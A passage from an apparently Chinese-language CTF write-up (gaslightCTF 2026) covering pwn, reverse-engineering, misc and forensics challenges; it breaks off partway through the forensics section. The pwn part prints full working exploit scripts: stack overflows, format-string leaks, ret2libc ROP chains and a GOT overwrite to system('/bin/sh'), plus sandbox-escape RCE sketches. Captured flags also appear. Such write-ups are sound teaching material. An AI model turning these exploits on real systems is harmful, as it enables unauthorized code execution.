（本地 qemu-user 里 lazy PLT binding 会崩是模拟器伪影，LD_BIND_NOW=1 正常。）\n📜 good-enough solve.py（86 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; gaslightCTF 2026 - good-enough (pwn, 453) Vuln: gets() stack overflow into a 16-byte buffer (no canary, PIE). Gate: strncmp(buf, \u0026#34;gut genug\u0026#34;, 9) must pass on the FIRST 9 bytes -\u0026gt; prefix payload with \u0026#34;gut genug\u0026#34;. Leak: main() prints printf(\u0026#34;[%%p] du bist? \u0026#34;, main) -\u0026gt; PIE base leak. Win: win() at offset 0x1228 calls system(\u0026#34;/bin/sh\u0026#34;). Payload layout (gets writes from rbp-0x10): buf[0:16] = \u0026#34;gut genug\u0026#34; + 7 junk rbp[16:24] = junk rip[24:32] = win Usage: ./solve.py [host] [port] (defaults to local process) \u0026#34;\u0026#34;\u0026#34; import re import sys from pwn import * context.arch = \u0026#34;amd64\u0026#34; context.log_level = \u0026#34;info\u0026#34; HOST = None PORT = None SSL = False if len(sys.argv) \u0026gt;= 3: HOST, PORT = sys.argv[1], int(sys.argv[2]) if len(sys.argv) \u0026gt;= 4 and sys.argv[3] == \u0026#34;ssl\u0026#34;: SSL = True BIN = \u0026#34;./good-enough\u0026#34; MAIN_OFF = 0x1179 RET_OFF = 0x10E8 # ret gadget (deregister_tm_clones+0x28) for stack alignment WIN_OFF = 0x1228 def main(): if HOST: io = remote(HOST, PORT, ssl=SSL) else: io = process(BIN) # 1. grab the leak: \u0026#34;[\u0026lt;main addr\u0026gt;] du bist? \u0026#34; (no trailing newline) banner = io.recvuntil(b\u0026#34;du bist? \u0026#34;, timeout=8) log.info(\u0026#34;banner: %r\u0026#34;, banner) m = re.search(rb\u0026#34;\\[(0x[0-9a-f]+)\\]\u0026#34;, banner) assert m, \u0026#34;no leak found\u0026#34; main_addr = int(m.group(1), 16) base = main_addr - MAIN_OFF ret = base + RET_OFF win = base + WIN_OFF log.success(\u0026#34;main @ %#x, base @ %#x, ret @ %#x, win @ %#x\u0026#34;, main_addr, base, ret, win) # 2. overflow: \u0026#34;gut genug\u0026#34; must be the first 9 bytes for strncmp to pass. # ret gadget first aligns rsp for system() (avoids movaps crash in glibc). payload = b\u0026#34;gut genug\u0026#34; + b\u0026#34;A\u0026#34; * 7 # 16 bytes fill buffer payload += b\u0026#34;B\u0026#34; * 8 # saved rbp payload += p64(ret) # saved rip -\u0026gt; ret gadget payload += p64(win) # -\u0026gt; win(): system(\u0026#34;/bin/sh\u0026#34;) log.info(\u0026#34;payload (%d bytes): %r\u0026#34;, len(payload), payload) io.sendline(payload) io.recvuntil(b\u0026#34;bleib einfach nur du\u0026#34;, timeout=3) log.success(\u0026#34;check passed, jumping to win()\u0026#34;) # 3. shell if HOST: io.sendline(b\u0026#34;cat flag.txt; cat /flag; ls -la\u0026#34;) else: io.sendline(b\u0026#34;cat flag.txt 2\u0026gt;/dev/null; id\u0026#34;) try: io.sendline(b\u0026#34;echo PWNED_MARKER\u0026#34;) out = io.recvall(timeout=5) log.info(\u0026#34;output:\\n%s\u0026#34;, out.decode(errors=\u0026#34;replace\u0026#34;)) if b\u0026#34;PWNED_MARKER\u0026#34; in out: log.success(\u0026#34;got shell\u0026#34;) except Exception as e: log.warning(\u0026#34;recv issue: %s\u0026#34;, e) io.close() if __name__ == \u0026#34;__main__\u0026#34;: main() ucas（470）— \\x00\\n 让 strlen 恒 0：字数门禁是纸老虎 Flag：gaslightCTF{m4n1f3st1ng_e4sy_0ff3r5_f0r_ev3ry0n3_c2e6b547e8b1}\n\u0026ldquo;UCAS 申请文书\u0026quot;三连问，printf(name) 直接把 15 字符姓名当格式串—— %513$p%515$p 恰好 14 字符，canary（0x\u0026hellip;00 结尾特征定位槽位）与 libc 返回 地址一次到手。真正的转折在\u0026quot;字数门禁\u0026rdquo;：essay 用 fgets(buf, 0xfa0 - counter) 限长、counter += strlen(essay) 计数，而 fgets 读原始字节、strlen 遇 \\0 截断——发 \\x00\\n 让 strlen 恒为 0，counter 永不增长，三段 essay 的 fgets 大小全部保持 0xfa0。essay3 缓冲只有 0x540，0xfa0 直接写穿 canary 和 saved RIP， ret2libc 收尾。（payload 里出现 0x0a 会被 fgets 截断，脚本自动重连重试， 概率约 3%/次。）\n📜 ucas solve.py（104 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; gaslightCTF 2026 - ucas (pwn, ~470) Vuln 1: printf(name) format string with a 16-byte name (fgets 0x10). -\u0026gt; leaks: %513$p = stack canary, %515$p = ret addr into __libc_start_call_main+0x75 (libc base = leak - 0x2b285). Vuln 2: essays read with fgets(essay_i, 0xfa0 - counter) where counter += strlen(essay). Sending \u0026#34;\\x00\\n\u0026#34; makes strlen == 0, so the counter never grows and EVERY essay fgets still gets size 0xfa0. essay3\u0026#39;s buffer is at rbp-0x540, so 0xfa0 bytes overflow way past the canary (rbp-0x8, offset 0x538) and saved RIP -\u0026gt; ret2libc. Gate: the \u0026#34;too long\u0026#34; counter check is bypassed (counter stays ~1336) and main returns normally (canary restored), landing in our ROP chain. Usage: ./solve.py \u0026lt;host\u0026gt; \u0026lt;port\u0026gt; [ssl] ./solve.py # local wrapper demo (127.0.0.1:19999) \u0026#34;\u0026#34;\u0026#34; import re import sys import time from pwn import * context.arch = \u0026#34;amd64\u0026#34; context.log_level = \u0026#34;info\u0026#34; HOST, PORT, SSL = None, None, False if len(sys.argv) \u0026gt;= 3: HOST, PORT = sys.argv[1], int(sys.argv[2]) if len(sys.argv) \u0026gt;= 4 and sys.argv[3] == \u0026#34;ssl\u0026#34;: SSL = True LIBC = \u0026#34;libc.so.6\u0026#34; libc = ELF(LIBC) SYSTEM = libc.symbols[\u0026#34;system\u0026#34;] # 0x58860 BINSH = next(libc.search(b\u0026#34;/bin/sh\u0026#34;)) # 0x1c3ed9 POP_RDI = 0xFC08D # pop rdi; ret RET = 0x2930B # plain ret (stack alignment) LIBC_RET_OFF = 0x2B285 # ret after `call main` in __libc_start_call_main CANARY_POS, LIBCRET_POS = 513, 515 # format-string arg positions OFFSET = 0x538 # essay3 buf (rbp-0x540) -\u0026gt; canary (rbp-0x8) def attempt(): if HOST: io = remote(HOST, PORT, ssl=SSL, timeout=8) else: io = remote(\u0026#34;127.0.0.1\u0026#34;, 19999, timeout=8) io.recvuntil(b\u0026#34;please enter your name: \u0026#34;, timeout=6) io.sendline(b\u0026#34;%513$p%515$p\u0026#34;) # 14 bytes: canary + libc ret b = io.recvuntil(b\u0026#34;Why do you want\u0026#34;, timeout=6) m = re.search(rb\u0026#34;welcome, (0x[0-9a-f]+)(0x[0-9a-f]+)\u0026#34;, b) if not m: log.warning(\u0026#34;leak parse failed: %r\u0026#34;, b[:120]) io.close() return None canary = int(m.group(1), 16) libc_base = int(m.group(2), 16) - LIBC_RET_OFF log.success(\u0026#34;canary=%#x libc=%#x\u0026#34;, canary, libc_base) chain = p64(libc_base + POP_RDI) + p64(libc_base + BINSH) \\ + p64(libc_base + RET) + p64(libc_base + SYSTEM) payload = b\u0026#34;A\u0026#34; * OFFSET + p64(canary) + b\u0026#34;B\u0026#34; * 8 + chain if b\u0026#34;\\n\u0026#34; in payload: # fgets would truncate log.warning(\u0026#34;0x0a byte in payload (canary), retrying new conn\u0026#34;) io.close() return None io.send(b\u0026#34;\\x00\\n\u0026#34;) # essay1: strlen == 0 io.recvuntil(b\u0026#34;How have your qualifications\u0026#34;, timeout=5) io.send(b\u0026#34;\\x00\\n\u0026#34;) # essay2: strlen == 0 io.recvuntil(b\u0026#34;What else have you done\u0026#34;, timeout=5) io.send(payload + b\u0026#34;\\n\u0026#34;) # essay3: overflow io.recvuntil(b\u0026#34;clearing\u0026#34;, timeout=6) io.sendline(b\u0026#34;echo PWNED_MARKER; cat flag; cat flag.txt; cat /flag; ls -la\u0026#34;) try: out = io.recvall(timeout=6) except Exception as e: out = b\u0026#34;\u0026#34; io.close() return out def main(): for i in range(8): out = attempt() if out is None: continue log.info(\u0026#34;out:\\n%s\u0026#34;, out.decode(errors=\u0026#34;replace\u0026#34;)) if b\u0026#34;PWNED_MARKER\u0026#34; in out: log.success(\u0026#34;got shell\u0026#34;) m = re.search(rb\u0026#34;gaslightCTF\\{[^}]+\\}\u0026#34;, out) if m: log.success(\u0026#34;FLAG: %s\u0026#34;, m.group(0).decode()) sys.exit(0) time.sleep(1) log.failure(\u0026#34;exploit failed after retries\u0026#34;) sys.exit(1) if __name__ == \u0026#34;__main__\u0026#34;: main() thirds（486）— 改 saved RIP 重进 main：格式串三轮不够就再来三轮 Flag：gaslightCTF{th1rd_t1m35_th3_ch4rm_1b807eeed8b1}\n全场 pwn 压轴。三连 fgets(buf, 0x10) + printf(buf)，无栈溢出，每轮只有 15 字节可用。三个 printf 调用点 rsp 恒为 rbp-0x40，槽位映射完全相同 （%8$=buf2[0:8]、%13$=canary、%15$=saved RIP(libc+0x2b285)、%19$=main 指针），远程泄漏直接证实。根本死结是最后一个 printf 之后没有触发点—— 直接改 printf@GOT 后没有下一次 printf 帮你调 system。破局：第一轮用 %8$hn 把 saved RIP 低 16 位改到 call [rbp-0x78]（libc+0x2b282），main 返回时重新调用 main（call 会把 0x2b285 重新压回 saved RIP 槽，第二轮 结束后进程正常退出）；第二轮再用 %6$hn 写 printf@GOT → system，紧随的 printf(\u0026quot;3\u0026gt; \u0026quot;) 变 system(\u0026quot;3\u0026gt; \u0026quot;)（sh 语法错误无害），第三轮输入 /bin/sh 触发 system(\u0026quot;/bin/sh\u0026quot;)。\n四个实战坑每个都值得记：① 泄漏输出后紧跟 2\u0026gt; 提示符，贪婪正则会把提示符 的 2 吞进 V 的低半字节（saved rbp 16 对齐，v \u0026gt;\u0026gt;= 4 校验兜底）；② %hn 只能写目标低 16 位，落在 saved RIP 自己的 64K 窗口内，N 必须按 (libc+0x2b282)\u0026amp;0xffff 算进位，不是常数 0xb282；③ printf 与 system （0x5fb80 / 0x58860）只有落在同一 64K 窗口时低 16 位改写才成立——依赖 libc 基址低 16 位，约 55% 连接命中，不命中直接重连（ASLR 每次变化）；④ 平台 TLS 负载均衡按 SNI 路由，pwntools ssl=True 不发 SNI 直接被断， 必须 server_hostname=\u0026lt;实例域名\u0026gt; 手工握手；%Nc 填充的 3~5 万空格先于一切 输出，recv 要持续排空到超时。\n📜 thirds solve.py（节选 129 行，全文 270 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; gaslightCTF 2026 - thirds (pwn, ~486) Binary: 3 rounds of fgets(buf, 0x10) + printf(buf), bufs at rbp-0x40/-0x30/-0x20. At EVERY printf call site rsp = rbp-0x40, so the stack positional args are: %6$ = buf1[0:8] %7$ = buf1[8:16] %8$ = buf2[0:8] %9$ = buf2[8:16] %10$ = buf3[0:8] %11$ = buf3[8:16] %13$ = canary %14$ = saved rbp (V) %15$ = saved RIP (libc+0x2b285) %19$ = main ptr (PIE+0x1159) (verified remotely: %15$p%19$p%14$p leaks libc/pie/V with handout offsets) libc frame (glibc 2.42 handout): __libc_start_call_main does push rbp; mov rbp,rsp; sub rsp,0x90; ...; call [rbp-0x78] ; call main ... 0x2b285: mov edi,eax / call exit so main_rbp = V - 0xA0 and the saved-RIP slot is at V - 0x98. Attack (format-string only, no overflow): Run 1: R1: buf1 = \u0026#34;%15$p%19$p%14$p\u0026#34; -\u0026gt; leak libc, PIE, saved rbp V R2: buf2 = p64(V-0x98) + filler (write target = saved RIP address) R3: buf3 = \u0026#34;%8$45698c%8$hn\u0026#34; -\u0026gt; saved RIP low16 := 0xb282 main returns -\u0026gt; ret to libc+0x2b282 (`call [rbp-0x78]`) -\u0026gt; main runs AGAIN (the call re-pushes 0x2b285 into the saved-RIP slot, so run 2 exits normally afterwards - we have our shell by then) Run 2: R1: buf1 = p64(printf@got) + filler (target for %6$ at printf(buf2)) R2: buf2 = \u0026#34;%6$34912c%6$hn\u0026#34; -\u0026gt; printf@GOT low16 := 0x8860 (system 0x58860 / printf 0x5fb80 share bytes 2+) then printf(\u0026#34;3\u0026gt; \u0026#34;) = system(\u0026#34;3\u0026gt; \u0026#34;) (syntax error, harmless) R3: buf3 = \u0026#34;/bin/sh\\x00\u0026#34; -\u0026gt; printf(buf3) = system(\u0026#34;/bin/sh\u0026#34;) -\u0026gt; SHELL Note: the platform LB routes by TLS SNI - connect with server_hostname=host. Usage: ./solve.py \u0026lt;host\u0026gt; \u0026lt;port\u0026gt; [--probe] \u0026#34;\u0026#34;\u0026#34; SYSTEM_OFF = 0x58860 PRINTF_OFF = 0x5fb80 RET_OFF = 0x2b285 # ret after `call main` in __libc_start_call_main MAIN_OFF = 0x1159 PRINTF_GOT_OFF = 0x4008 LOOP_RIP = 0xb282 # low16 of libc+0x2b282 (call [rbp-0x78] -\u0026gt; main) # ……（省略 Conn：带 SSL+SNI 的缓冲 socket 封装——pwntools ssl=True 不发 SNI， # 平台 LB 按 SNI 路由，必须 server_hostname=host 手工握手）…… def send_chunk(io, data): \u0026#34;\u0026#34;\u0026#34;fgets(buf,0x10): reads up to 15 bytes, stops at \\n; NUL-terminates. A chunk shorter than 15 bytes must end with \\n to be consumed fully.\u0026#34;\u0026#34;\u0026#34; if len(data) \u0026gt;= 15: assert len(data) == 15, \u0026#34;chunk too long: %d\u0026#34; % len(data) io.send(data) else: io.send(data + b\u0026#34;\\n\u0026#34;) def round1_leak(io): io.recvuntil(b\u0026#34;1\u0026gt; \u0026#34;, timeout=8) send_chunk(io, b\u0026#34;%15$p%19$p%14$p\u0026#34;) # exactly 15 bytes line = io.recvuntil(b\u0026#34;\\n\u0026#34;, timeout=8) m = re.search(rb\u0026#34;0x([0-9a-f]+)0x([0-9a-f]+)0x([0-9a-f]+)\u0026#34;, line) if not m: print(\u0026#34;[!] leak parse failed: %r\u0026#34; % line) return None ret_leak = int(m.group(1), 16) main_leak = int(m.group(2), 16) v = int(m.group(3), 16) # The leak is printed directly before the \u0026#34;2\u0026gt; \u0026#34; prompt; the greedy regex # swallows the prompt\u0026#39;s \u0026#39;2\u0026#39; as the last hex nibble of V. saved rbp is # 16-aligned, so drop the bogus low nibble. v \u0026gt;\u0026gt;= 4 libc = ret_leak - RET_OFF pie = main_leak - MAIN_OFF if libc \u0026amp; 0xfff or pie \u0026amp; 0xfff or v \u0026amp; 0xf: print(\u0026#34;[!] leaks not aligned: libc=%#x pie=%#x V=%#x\u0026#34; % (libc, pie, v)) return None return dict(libc=libc, pie=pie, v=v) # ……（省略 probe：用 %8$s 读 printf@GOT 验证远程 libc 与 handout 一致）…… def exploit(io, do_probe=False): leaks = round1_leak(io) if not leaks: return False libc, pie, v = leaks[\u0026#34;libc\u0026#34;], leaks[\u0026#34;pie\u0026#34;], leaks[\u0026#34;v\u0026#34;] system = libc + SYSTEM_OFF printf_got = pie + PRINTF_GOT_OFF print(\u0026#34;[*] libc=%#x pie=%#x V=%#x system=%#x printf@got=%#x\u0026#34; % (libc, pie, v, system, printf_got)) saved_rip_addr = v - 0x98 if any(b == 0x0a for b in p64(saved_rip_addr)): print(\u0026#34;[!] saved_rip_addr %#x contains \\\\n byte - retry\u0026#34; % saved_rip_addr) return False # printf@GOT low16-write can only reach addresses in printf\u0026#39;s own 64K # window; system must share that window (depends on libc base low16). if ((libc + PRINTF_OFF) \u0026amp; ~0xffff) != ((libc + SYSTEM_OFF) \u0026amp; ~0xffff): print(\u0026#34;[!] printf/system in different 64K windows - retry (base\u0026amp;0xffff=%#x)\u0026#34; % (libc \u0026amp; 0xffff)) return False # ---- run 1, round 2: place write target (saved RIP addr) in buf2 ---- io.recvuntil(b\u0026#34;2\u0026gt; \u0026#34;, timeout=8) send_chunk(io, p64(saved_rip_addr) + b\u0026#34;A\u0026#34; * 7) # ---- run 1, round 3: saved RIP low16 := (libc+0x2b282)\u0026amp;0xffff -\u0026gt; re-enter main ---- loop_rip = (libc + 0x2b282) \u0026amp; 0xffff io.recvuntil(b\u0026#34;3\u0026gt; \u0026#34;, timeout=15) # swallows padding too send_chunk(io, b\u0026#34;%%8$%dc%%8$hn\u0026#34; % loop_rip) # ---- run 2, round 1: buf1 = target for %6$ at printf(buf2) ---- io.recvuntil(b\u0026#34;1\u0026gt; \u0026#34;, timeout=15) send_chunk(io, p64(printf_got) + b\u0026#34;A\u0026#34; * 7) # ---- run 2, round 2: printf@GOT low16 := system low16 ---- io.recvuntil(b\u0026#34;2\u0026gt; \u0026#34;, timeout=15) send_chunk(io, b\u0026#34;%%6$%dc%%6$hn\u0026#34; % (system \u0026amp; 0xffff)) # printf(\u0026#34;3\u0026gt; \u0026#34;) is now system(\u0026#34;3\u0026gt; \u0026#34;) -\u0026gt; sh syntax error, returns # ---- run 2, round 3: printf(buf3) = system(\u0026#34;/bin/sh\u0026#34;) ---- time.sleep(0.6) send_chunk(io, b\u0026#34;/bin/sh\\x00\u0026#34;) # fgets reads 9 bytes incl the \\n time.sleep(0.6) io.sendline(b\u0026#34;echo PWNED; id; cat flag; cat /flag; ls -la\u0026#34;) out = io.recv(timeout=6) print(\u0026#34;[*] shell output: %r\u0026#34; % out[:600]) return b\u0026#34;PWNED\u0026#34; in out Rev（2/2） Compiled Source Sheets（290）— 从 CSS 变量里提取 ROM Flag：gaslightCTF{ch3ck_0ut_lyra-horse!!_2QY90H6F}\n一个纯 CSS 的 8086 模拟器（x86CSS），程序机器码以 --__1m\u0026lt;addr\u0026gt;: \u0026lt;val\u0026gt; CSS 变量存储。非常规载体的第一步是找到编码规则：正则提取变量还原 ROM，capstone 反汇编 8086，程序对 flag 逐字节校验（xor/and/or 与常量比较）。校验类程序 别手工推——校验关系全部喂给 z3。\n📜 compiled-source-sheets 最小 POC（7 行）——点击展开 1 2 3 4 5 6 7 from z3 import * inp = [BitVec(f\u0026#34;b{i}\u0026#34;, 8) for i in range(9)] s = Solver() for a, b, c in checks: # 从反汇编提取的校验约束 s.add((inp[a] ^ inp[b]) \u0026amp; 0xFF == c) s.check(); m = s.model() print(\u0026#34;gaslightCTF{ch3ck_0ut_lyra-horse!!_\u0026#34; + bytes(m.eval(x).as_long() for x in inp).decode() + \u0026#34;}\u0026#34;) ohfrick（423）— 插桩 eval/exec：526 次小 eval 的自白 Flag：gaslightCTF{e50t3r1c_sn4k3}\n62KB 单行的 Python 版 JSFuck 混淆。不硬反混淆——动态插桩 \u0026gt; 静态还原： 包装 eval/exec 记录每一层求值字符串，比人肉还原省一个数量级。两个转折： ① 顶层结构是 eval(EXPR)(10)——外层 eval 的结果是可调用对象，直接把它 换成 print( 会得到 None(...) 报错；② 只包装 eval 拿不到源码——完整链路上 526 次 eval 全是 2~8 字符的小片段（'float'、'[].clear'、'chr'）， 真正的 357 字符校验程序是最后通过 exec(S) 一次性执行的。包装对象的 __repr__ 要和真 builtin 完全一致（\u0026lt;built-in function eval\u0026gt;），否则 str(eval)[i] 取字符的路径全断。捕获校验源码后逐条解约束：int(f[1:3])==50、 \u0026quot;reset\u0026quot;==f[5]+f[0]+f[9]+f[0]+f[3]、str(credits).strip()[4:6]==\u0026quot;ks\u0026quot;（credits 是 Python 内置版权常量）……得到 e50t3r1c_sn4k3（leet 的 \u0026ldquo;esoteric_snake\u0026rdquo;， 与题名 ohfrick 的 esoteric Python 呼应）。校验器约束不足——穷举出 8 个合法 输入，7 个是数字变体乱码，语义完整的那个显然是作者存的；平台 flag 统一带 gaslightCTF{} 前缀，裸 14 字符被拒。\n📜 ohfrick solve.py（112 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;gaslightCTF 2026 - ohfrick (rev, 423pts) one-shot solver. code.py is a Python \u0026#34;JSFuck\u0026#34; style obfuscation: a single eval(EXPR)(10) chain of tiny eval() calls building the real checker program character by character, finally executed via exec(). Steps: 1. Wrap builtins.eval/exec with loggers (repr of the wrapper matches the real builtin so all str(eval)[i] char-extraction still works) -\u0026gt; captures the deobfuscated checker source. 2. Parse the checker constraints and brute-force the few unknown flag chars. Flag: gaslightCTF{e50t3r1c_sn4k3} (leet for \u0026#34;esoteric_snake\u0026#34;; the checker asserts len(flag)==14 so it verifies the inner 14 chars, but the platform stores the standard gaslightCTF{...} form -- submit with the prefix) \u0026#34;\u0026#34;\u0026#34; import builtins import itertools import re import sys from pathlib import Path HERE = Path(__file__).parent SRC = HERE / \u0026#34;code.py\u0026#34; def deobfuscate() -\u0026gt; str: real_eval = builtins.eval real_exec = builtins.exec captured = [] class WrappedEval: def __repr__(self): return \u0026#34;\u0026lt;built-in function eval\u0026gt;\u0026#34; def __call__(self, code, *args, **kwargs): return real_eval(code, *args, **kwargs) class WrappedExec: def __repr__(self): return \u0026#34;\u0026lt;built-in function exec\u0026gt;\u0026#34; def __call__(self, code, *args, **kwargs): captured.append(str(code)) return real_exec(code, *args, **kwargs) builtins.eval = WrappedEval() builtins.exec = WrappedExec() builtins.input = lambda prompt=\u0026#34;\u0026#34;: \u0026#34;A\u0026#34; * 14 # probe; fails at 2nd assert try: real_exec(compile(SRC.read_text(), \u0026#34;\u0026lt;obf\u0026gt;\u0026#34;, \u0026#34;exec\u0026#34;), {\u0026#34;__builtins__\u0026#34;: builtins.__dict__}) except Exception: pass # probe flag intentionally fails an assert finally: builtins.eval = real_eval builtins.exec = real_exec builtins.input = input assert captured, \u0026#34;failed to capture checker source\u0026#34; return captured[0] def solve() -\u0026gt; str: src = deobfuscate() # The captured checker (whitespace varies): keep the constraint lines. lines = [ln for ln in src.splitlines() if ln.strip().startswith((\u0026#34;T=\u0026#34;, \u0026#34;F=\u0026#34;))] assert len(lines) == 2, f\u0026#34;unexpected checker: {lines}\u0026#34; T, F = lines def check(f: str) -\u0026gt; bool: i, o = int, ord ns = {\u0026#34;f\u0026#34;: f, \u0026#34;i\u0026#34;: i, \u0026#34;o\u0026#34;: o, \u0026#34;credits\u0026#34;: credits, \u0026#34;T\u0026#34;: None, \u0026#34;F\u0026#34;: None, \u0026#34;str\u0026#34;: str, \u0026#34;int\u0026#34;: int, \u0026#34;ord\u0026#34;: ord} try: exec(T.replace(\u0026#34;T=\u0026#34;, \u0026#34;T=\u0026#34;), ns) exec(F.replace(\u0026#34;F=\u0026#34;, \u0026#34;F=\u0026#34;), ns) except Exception: return False # invalid candidate (index out of range / bad int) return all(ns[\u0026#34;T\u0026#34;]) and not any(ns[\u0026#34;F\u0026#34;]) # brute force the 5 unknown positions (4,6,10,11,13): digits/leet chars sols = [] for d4, d6, c10, d11, d13 in itertools.product( \u0026#34;0123456789\u0026#34;, \u0026#34;123456789\u0026#34;, \u0026#34;noN0123456789\u0026#34;, \u0026#34;0123456789\u0026#34;, \u0026#34;0123456789\u0026#34;): f = list(\u0026#34;e50t?r?c_s??k?\u0026#34;) f[4], f[6], f[10], f[11], f[13] = d4, d6, c10, d11, d13 f = \u0026#34;\u0026#34;.join(f) if check(f): sols.append(f) # The checker is under-constrained: 8 digit-variant flags pass. The # intended one spells \u0026#34;esoteric_snake\u0026#34; in leet (e50t3r1c_sn4k3) -- the # challenge is called \u0026#34;ohfrick\u0026#34;, i.e. esoteric Python. Prefer it. intended = \u0026#34;e50t3r1c_sn4k3\u0026#34; if intended in sols: return intended if sols: return sols[0] raise RuntimeError(\u0026#34;no flag found\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: inner = solve() flag = f\u0026#34;gaslightCTF{{{inner}}}\u0026#34; print(f\u0026#34;flag: {flag}\u0026#34;) print(f\u0026#34;(checker core: {inner})\u0026#34;) # end-to-end verification against the original obfuscated file (it # verifies the 14-char core; the platform accepts the prefixed form) import subprocess p = subprocess.run([sys.executable, str(SRC)], input=inner + \u0026#34;\\n\u0026#34;, capture_output=True, text=True, timeout=120) assert \u0026#34;ok\u0026#34; in p.stdout, f\u0026#34;verification failed: {p.stdout!r} {p.stderr!r}\u0026#34; print(\u0026#34;verified against original code.py: prints \u0026#39;ok\u0026#39;\u0026#34;) Misc（4/10） Sanity Check（100） Flag：gaslightCTF{w3lc0me_2_g4sl1ghtCTF!}\n平台/队伍信息里的热身 flag。\nodyssey（410）— 图搜 + 坐标盲试 Flag：gaslightCTF{37.974,23.724}（官方答案 gaslightCTF{37.973,23.726}）\n无 GPS 的雅典照片（iPhone HEIC，darktable 调色导出）。GLM 做了前期 OSINT， DeepSeek 用 Yandex 图搜（Smart Camera 上传图返回文字标签 \u0026ldquo;the acropolis athens\u0026rdquo;）锁定\u0026quot;卫城北侧街区\u0026rdquo;，然后网格串行盲试（每次提交 sleep 10s、不并发， 平台会过期登录态，脚本自动重登），110 格里第 27 次 37.974,23.724 被平台 接受。官方答案是画面中景的 Canellopoulos Museum（37.9729473,23.7260968 → 37.973,23.726）——我们错把\u0026quot;画面主体的坐标\u0026quot;当成了\u0026quot;摄影机位的坐标\u0026rdquo;， 问题定义漂移的代价见「反思」章。\n📜 odyssey 盲试核心（5 行）——点击展开 1 2 3 4 5 # 盲试核心：网格按距离排序，串行提交，命中即停 for lat, lon in sorted(grid, key=lambda c: dist(c, (37.973, 23.727))): if submit(f\u0026#34;gaslightCTF{{{lat},{lon}}}\u0026#34;): print(\u0026#34;FOUND\u0026#34;, lat, lon); break time.sleep(10) jsbox（310）— 原型方法拿真实源码 Flag：gaslightCTF{n4t1v3_c0d3_0r_n4t1v3_fl4g?_db2bbd393eab}\nisolated-vm 的 REPL 把 Function.prototype.toString 覆盖成假实现，但实例属性 能覆盖、原型方法不能。用 Function.prototype.toString.call(fn) 拿到宿主 函数真实源码（错误栈 + fn.name/fn.length 定位定义位置），从源码里取原生 指针/内部调用，构造参数执行命令直接 RCE。\n📜 jsbox 最小 POC（3 行）——点击展开 1 2 3 // fn 是宿主里执行命令的函数，实例属性被覆盖，原型方法还在 const src = Function.prototype.toString.call(fn); // 从源码取原生指针/内部调用，构造参数执行命令 useless-rce（463）— Haskell FFI 纯类型谎言 Flag：gaslightCTF{uns4f3_p3rf0rm_burr1t0_c0n5umpt10n_1096e09801a2}\nhint 解释器先 stripIO 删掉源码里所有字面 \u0026ldquo;IO\u0026rdquo;。绕过不是绕字符串过滤器， 而是撒类型谎：把 C 函数声明成纯类型（源码里没 \u0026ldquo;IO\u0026rdquo; 字样），用 runRW# 执行，pinned ByteArray 构造 NUL 结尾的 C 字符串。还有一个 GHC 特有的坑： 纯类型的 FFI 调用若返回值未被使用会被死代码消除——case c_write ... of _ -\u0026gt; () 什么都不发生，必须用返回值做分支逼它执行。解释器（hint、isolated-vm）都不是 真沙箱，FFI/反射/内建函数都可达。\n📜 useless-rce 最小 POC（4 行）——点击展开 1 2 3 4 foreign import ccall \u0026#34;open\u0026#34; c_open :: CString -\u0026gt; CInt -\u0026gt; CInt -\u0026gt; CInt -- 纯类型？不是。但源码里没有任何 \u0026#34;IO\u0026#34; 字面量，stripIO 拦不住 -- runRW# + newPinnedByteArray# 构造 NUL 结尾的 C 字符串 -- 返回值参与 if 分支，防止死代码消除 Forensics（4/6） good-luck!（100）— 右声道低频频谱图 Flag：gaslightCTF{c4n_u_s33_me?_u4ya}\n7.4 秒 MP3（Joint Stereo），flag 以\u0026quot;大字\u0026quot;写在右声道 0–4 kHz 频谱里， 被左声道和语音谐波盖住。两个模型都没有多模态，程序化频谱分析踩了大坑： Goertzel 步长 100Hz + 全局归一化 ASCII 化，弱信号文字完全被淹没——频率步长 要小、阈值不能全局归一化、必须\u0026quot;看图\u0026quot;。最终由外部 GPT-5.6-sol 的题解补位： 拆声道、限定频率范围、调 FFT 窗口与动态范围。\n📜 good-luck! 频谱提取（2 行）——点击展开 1 2 ffmpeg -i goodluck2.mp3 -filter_complex \u0026#34;pan=mono|c0=c1,lowpass=f=4000\u0026#34; r.wav # specgram: NFFT=4096, noverlap=4000, 0-4kHz, dB -115~-45 读出 c4n_u_s33_me?_u4ya（\u0026ldquo;can you see me? u4ya\u0026rdquo;）。\nblackout（263）— 遮罩只在绘制层，文本层没删 Flag：gaslightCTF{c0w4bung4_f1le_4ev3r}\n停电梗 PDF（Skia/PDF m153，Google Docs 渲染器）。题名 blackout 